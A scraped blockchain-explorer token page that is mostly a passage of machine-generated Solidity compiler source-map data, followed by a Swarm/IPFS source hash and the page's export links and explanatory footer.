013:9;:15;5023:4;5013:15;;;;;;;;;;;;;;;:42;;;;5091:14;5074:9;:13;5084:2;5074:13;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;5144:2;5129:26;;5138:4;5129:26;;;5148:6;5129:26;;;;;;:::i;:::-;;;;;;;;4718:449;;4673:494;4603:564;4459:715;4381:793;;;:::o;6777:446::-;6845:47;6862:4;6877:7;;;;;;;;;;;6887:4;6845:8;:47::i;:::-;6930:4;6903:9;:24;6921:4;6903:24;;;;;;;;;;;;;;;:31;;;;6945:21;6983:1;6969:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6945:40;;7008:4;6996:9;;:16;;;;;;;;;;;;;;;;;;7041:4;7023;7028:1;7023:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;7067:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7057:4;7062:1;7057:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;7092:7;;;;;;;;;;;:58;;;7151:4;7156:1;7158:4;7163:2;7184;7166:15;:20;;;;:::i;:::-;7092:95;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7210:5;7198:9;;:17;;;;;;;;;;;;;;;;;;6834:389;6777:446;;:::o;7258:189::-;7332:7;7359:16;;;;;;;;;;;:38;;;7398:9;:13;7408:2;7398:13;;;;;;;;;;;;;;;;7413:4;7419:19;:17;:19::i;:::-;7359:80;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7352:87;;7258:189;;;;:::o;5180:401::-;5261:7;5281:17;5301:1;5281:21;;5317:16;;;;;;;;;;;:38;;;5356:4;5362:2;5366:9;;;;;;;;;;;5385:4;5392:19;:17;:19::i;:::-;5317:95;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5313:234;;;5441:25;5462:3;5441:16;5452:4;;5441:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;5429:37;;5508:2;5485:25;;:19;:17;:19::i;:::-;:25;;;5481:55;;5532:2;5513:16;;:21;;;;;;;;;;;;;;;;;;5481:55;5313:234;5564:9;5557:16;;;5180:401;;;;;:::o;7882:161::-;7933:7;7978;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7960:44;;;8013:4;8020:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7960:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7953:82;;7882:161;:::o;1121:246::-;1179:7;1208:1;1203;:6;1199:47;;1233:1;1226:8;;;;1199:47;1256:9;1272:1;1268;:5;;;;:::i;:::-;1256:17;;1301:1;1296;1292;:5;;;;:::i;:::-;:10;1284:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1358:1;1351:8;;;1121:246;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:329::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:119;;;3912:79;;:::i;:::-;3874:119;4032:1;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4003:117;3798:329;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:329::-;4817:6;4866:2;4854:9;4845:7;4841:23;4837:32;4834:119;;;4872:79;;:::i;:::-;4834:119;4992:1;5017:53;5062:7;5053:6;5042:9;5038:22;5017:53;:::i;:::-;5007:63;;4963:117;4758:329;;;;:::o;5093:118::-;5180:24;5198:5;5180:24;:::i;:::-;5175:3;5168:37;5093:118;;:::o;5217:222::-;5310:4;5348:2;5337:9;5333:18;5325:26;;5361:71;5429:1;5418:9;5414:17;5405:6;5361:71;:::i;:::-;5217:222;;;;:::o;5445:474::-;5513:6;5521;5570:2;5558:9;5549:7;5545:23;5541:32;5538:119;;;5576:79;;:::i;:::-;5538:119;5696:1;5721:53;5766:7;5757:6;5746:9;5742:22;5721:53;:::i;:::-;5711:63;;5667:117;5823:2;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5794:118;5445:474;;;;;:::o;5925:180::-;5973:77;5970:1;5963:88;6070:4;6067:1;6060:15;6094:4;6091:1;6084:15;6111:320;6155:6;6192:1;6186:4;6182:12;6172:22;;6239:1;6233:4;6229:12;6260:18;6250:81;;6316:4;6308:6;6304:17;6294:27;;6250:81;6378:2;6370:6;6367:14;6347:18;6344:38;6341:84;;6397:18;;:::i;:::-;6341:84;6162:269;6111:320;;;:::o;6437:182::-;6577:34;6573:1;6565:6;6561:14;6554:58;6437:182;:::o;6625:366::-;6767:3;6788:67;6852:2;6847:3;6788:67;:::i;:::-;6781:74;;6864:93;6953:3;6864:93;:::i;:::-;6982:2;6977:3;6973:12;6966:19;;6625:366;;;:::o;6997:419::-;7163:4;7201:2;7190:9;7186:18;7178:26;;7250:9;7244:4;7240:20;7236:1;7225:9;7221:17;7214:47;7278:131;7404:4;7278:131;:::i;:::-;7270:139;;6997:419;;;:::o;7422:180::-;7470:77;7467:1;7460:88;7567:4;7564:1;7557:15;7591:4;7588:1;7581:15;7608:191;7648:3;7667:20;7685:1;7667:20;:::i;:::-;7662:25;;7701:20;7719:1;7701:20;:::i;:::-;7696:25;;7744:1;7741;7737:9;7730:16;;7765:3;7762:1;7759:10;7756:36;;;7772:18;;:::i;:::-;7756:36;7608:191;;;;:::o;7805:194::-;7845:4;7865:20;7883:1;7865:20;:::i;:::-;7860:25;;7899:20;7917:1;7899:20;:::i;:::-;7894:25;;7943:1;7940;7936:9;7928:17;;7967:1;7961:4;7958:11;7955:37;;;7972:18;;:::i;:::-;7955:37;7805:194;;;;:::o;8005:176::-;8145:28;8141:1;8133:6;8129:14;8122:52;8005:176;:::o;8187:366::-;8329:3;8350:67;8414:2;8409:3;8350:67;:::i;:::-;8343:74;;8426:93;8515:3;8426:93;:::i;:::-;8544:2;8539:3;8535:12;8528:19;;8187:366;;;:::o;8559:419::-;8725:4;8763:2;8752:9;8748:18;8740:26;;8812:9;8806:4;8802:20;8798:1;8787:9;8783:17;8776:47;8840:131;8966:4;8840:131;:::i;:::-;8832:139;;8559:419;;;:::o;8984:180::-;9032:77;9029:1;9022:88;9129:4;9126:1;9119:15;9153:4;9150:1;9143:15;9170:185;9210:1;9227:20;9245:1;9227:20;:::i;:::-;9222:25;;9261:20;9279:1;9261:20;:::i;:::-;9256:25;;9300:1;9290:35;;9305:18;;:::i;:::-;9290:35;9347:1;9344;9340:9;9335:14;;9170:185;;;;:::o;9361:224::-;9501:34;9497:1;9489:6;9485:14;9478:58;9570:7;9565:2;9557:6;9553:15;9546:32;9361:224;:::o;9591:366::-;9733:3;9754:67;9818:2;9813:3;9754:67;:::i;:::-;9747:74;;9830:93;9919:3;9830:93;:::i;:::-;9948:2;9943:3;9939:12;9932:19;;9591:366;;;:::o;9963:419::-;10129:4;10167:2;10156:9;10152:18;10144:26;;10216:9;10210:4;10206:20;10202:1;10191:9;10187:17;10180:47;10244:131;10370:4;10244:131;:::i;:::-;10236:139;;9963:419;;;:::o;10388:222::-;10528:34;10524:1;10516:6;10512:14;10505:58;10597:5;10592:2;10584:6;10580:15;10573:30;10388:222;:::o;10616:366::-;10758:3;10779:67;10843:2;10838:3;10779:67;:::i;:::-;10772:74;;10855:93;10944:3;10855:93;:::i;:::-;10973:2;10968:3;10964:12;10957:19;;10616:366;;;:::o;10988:419::-;11154:4;11192:2;11181:9;11177:18;11169:26;;11241:9;11235:4;11231:20;11227:1;11216:9;11212:17;11205:47;11269:131;11395:4;11269:131;:::i;:::-;11261:139;;10988:419;;;:::o;11413:332::-;11534:4;11572:2;11561:9;11557:18;11549:26;;11585:71;11653:1;11642:9;11638:17;11629:6;11585:71;:::i;:::-;11666:72;11734:2;11723:9;11719:18;11710:6;11666:72;:::i;:::-;11413:332;;;;;:::o;11751:116::-;11821:21;11836:5;11821:21;:::i;:::-;11814:5;11811:32;11801:60;;11857:1;11854;11847:12;11801:60;11751:116;:::o;11873:137::-;11927:5;11958:6;11952:13;11943:22;;11974:30;11998:5;11974:30;:::i;:::-;11873:137;;;;:::o;12016:345::-;12083:6;12132:2;12120:9;12111:7;12107:23;12103:32;12100:119;;;12138:79;;:::i;:::-;12100:119;12258:1;12283:61;12336:7;12327:6;12316:9;12312:22;12283:61;:::i;:::-;12273:71;;12229:125;12016:345;;;;:::o;12367:180::-;12415:77;12412:1;12405:88;12512:4;12509:1;12502:15;12536:4;12533:1;12526:15;12553:180;12601:77;12598:1;12591:88;12698:4;12695:1;12688:15;12722:4;12719:1;12712:15;12739:143;12796:5;12827:6;12821:13;12812:22;;12843:33;12870:5;12843:33;:::i;:::-;12739:143;;;;:::o;12888:351::-;12958:6;13007:2;12995:9;12986:7;12982:23;12978:32;12975:119;;;13013:79;;:::i;:::-;12975:119;13133:1;13158:64;13214:7;13205:6;13194:9;13190:22;13158:64;:::i;:::-;13148:74;;13104:128;12888:351;;;;:::o;13245:85::-;13290:7;13319:5;13308:16;;13245:85;;;:::o;13336:60::-;13364:3;13385:5;13378:12;;13336:60;;;:::o;13402:158::-;13460:9;13493:61;13511:42;13520:32;13546:5;13520:32;:::i;:::-;13511:42;:::i;:::-;13493:61;:::i;:::-;13480:74;;13402:158;;;:::o;13566:147::-;13661:45;13700:5;13661:45;:::i;:::-;13656:3;13649:58;13566:147;;:::o;13719:114::-;13786:6;13820:5;13814:12;13804:22;;13719:114;;;:::o;13839:184::-;13938:11;13972:6;13967:3;13960:19;14012:4;14007:3;14003:14;13988:29;;13839:184;;;;:::o;14029:132::-;14096:4;14119:3;14111:11;;14149:4;14144:3;14140:14;14132:22;;14029:132;;;:::o;14167:108::-;14244:24;14262:5;14244:24;:::i;:::-;14239:3;14232:37;14167:108;;:::o;14281:179::-;14350:10;14371:46;14413:3;14405:6;14371:46;:::i;:::-;14449:4;14444:3;14440:14;14426:28;;14281:179;;;;:::o;14466:113::-;14536:4;14568;14563:3;14559:14;14551:22;;14466:113;;;:::o;14615:732::-;14734:3;14763:54;14811:5;14763:54;:::i;:::-;14833:86;14912:6;14907:3;14833:86;:::i;:::-;14826:93;;14943:56;14993:5;14943:56;:::i;:::-;15022:7;15053:1;15038:284;15063:6;15060:1;15057:13;15038:284;;;15139:6;15133:13;15166:63;15225:3;15210:13;15166:63;:::i;:::-;15159:70;;15252:60;15305:6;15252:60;:::i;:::-;15242:70;;15098:224;15085:1;15082;15078:9;15073:14;;15038:284;;;15042:14;15338:3;15331:10;;14739:608;;;14615:732;;;;:::o;15353:831::-;15616:4;15654:3;15643:9;15639:19;15631:27;;15668:71;15736:1;15725:9;15721:17;15712:6;15668:71;:::i;:::-;15749:80;15825:2;15814:9;15810:18;15801:6;15749:80;:::i;:::-;15876:9;15870:4;15866:20;15861:2;15850:9;15846:18;15839:48;15904:108;16007:4;15998:6;15904:108;:::i;:::-;15896:116;;16022:72;16090:2;16079:9;16075:18;16066:6;16022:72;:::i;:::-;16104:73;16172:3;16161:9;16157:19;16148:6;16104:73;:::i;:::-;15353:831;;;;;;;;:::o;16190:442::-;16339:4;16377:2;16366:9;16362:18;16354:26;;16390:71;16458:1;16447:9;16443:17;16434:6;16390:71;:::i;:::-;16471:72;16539:2;16528:9;16524:18;16515:6;16471:72;:::i;:::-;16553;16621:2;16610:9;16606:18;16597:6;16553:72;:::i;:::-;16190:442;;;;;;:::o;16638:143::-;16695:5;16726:6;16720:13;16711:22;;16742:33;16769:5;16742:33;:::i;:::-;16638:143;;;;:::o;16787:351::-;16857:6;16906:2;16894:9;16885:7;16881:23;16877:32;16874:119;;;16912:79;;:::i;:::-;16874:119;17032:1;17057:64;17113:7;17104:6;17093:9;17089:22;17057:64;:::i;:::-;17047:74;;17003:128;16787:351;;;;:::o;17144:652::-;17343:4;17381:3;17370:9;17366:19;17358:27;;17395:71;17463:1;17452:9;17448:17;17439:6;17395:71;:::i;:::-;17476:72;17544:2;17533:9;17529:18;17520:6;17476:72;:::i;:::-;17558:66;17620:2;17609:9;17605:18;17596:6;17558:66;:::i;:::-;17634:72;17702:2;17691:9;17687:18;17678:6;17634:72;:::i;:::-;17716:73;17784:3;17773:9;17769:19;17760:6;17716:73;:::i;:::-;17144:652;;;;;;;;:::o;17802:348::-;17842:7;17865:20;17883:1;17865:20;:::i;:::-;17860:25;;17899:20;17917:1;17899:20;:::i;:::-;17894:25;;18087:1;18019:66;18015:74;18012:1;18009:81;18004:1;17997:9;17990:17;17986:105;17983:131;;;18094:18;;:::i;:::-;17983:131;18142:1;18139;18135:9;18124:20;;17802:348;;;;:::o;18156:220::-;18296:34;18292:1;18284:6;18280:14;18273:58;18365:3;18360:2;18352:6;18348:15;18341:28;18156:220;:::o;18382:366::-;18524:3;18545:67;18609:2;18604:3;18545:67;:::i;:::-;18538:74;;18621:93;18710:3;18621:93;:::i;:::-;18739:2;18734:3;18730:12;18723:19;;18382:366;;;:::o;18754:419::-;18920:4;18958:2;18947:9;18943:18;18935:26;;19007:9;19001:4;18997:20;18993:1;18982:9;18978:17;18971:47;19035:131;19161:4;19035:131;:::i;:::-;19027:139;;18754:419;;;:::o

Swarm Source

ipfs://7b13586b439328ae4eb6f9d2e1477b973a73f6af2300210240747de98ac8319d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.